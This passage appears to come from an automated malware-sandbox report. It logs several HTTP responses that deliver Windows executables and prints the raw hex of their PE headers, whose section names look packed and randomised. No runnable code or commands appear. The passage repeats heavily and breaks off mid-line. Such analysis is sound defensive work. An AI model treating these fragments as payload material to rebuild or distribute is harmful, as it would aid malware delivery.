00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:33 GMTContent-Type: application/octet-streamContent-Length: 4380160Last-Modified: Mon, 18 Nov 2024 19:54:46 GMTConnection: keep-aliveETag: "673b9b86-42d600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 70 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 b8 00 00 04 00 00 23 a3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 5f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 5f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 37 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 63 62 62 61 62 67 6e 00 30 1b 00 00 30 9d 00 00 30 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 63 61 64 6b 69 67 00 10 00 00 00 60 b8 00 00 04 00 00 00 b0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 b8 00 00 22 00 00 00 b4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:36 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:45 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:05:26 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:10:25 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:10:39 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:11:12 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:16 GMTConnection: keep-aliveETag: "673b9280-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6e 6a 76 73 76 00 60 2a 00 00 a0 00 00 00 5c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 72 79 62 77 70 72 00 20 00 00 00 00 2b 00 00 04 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 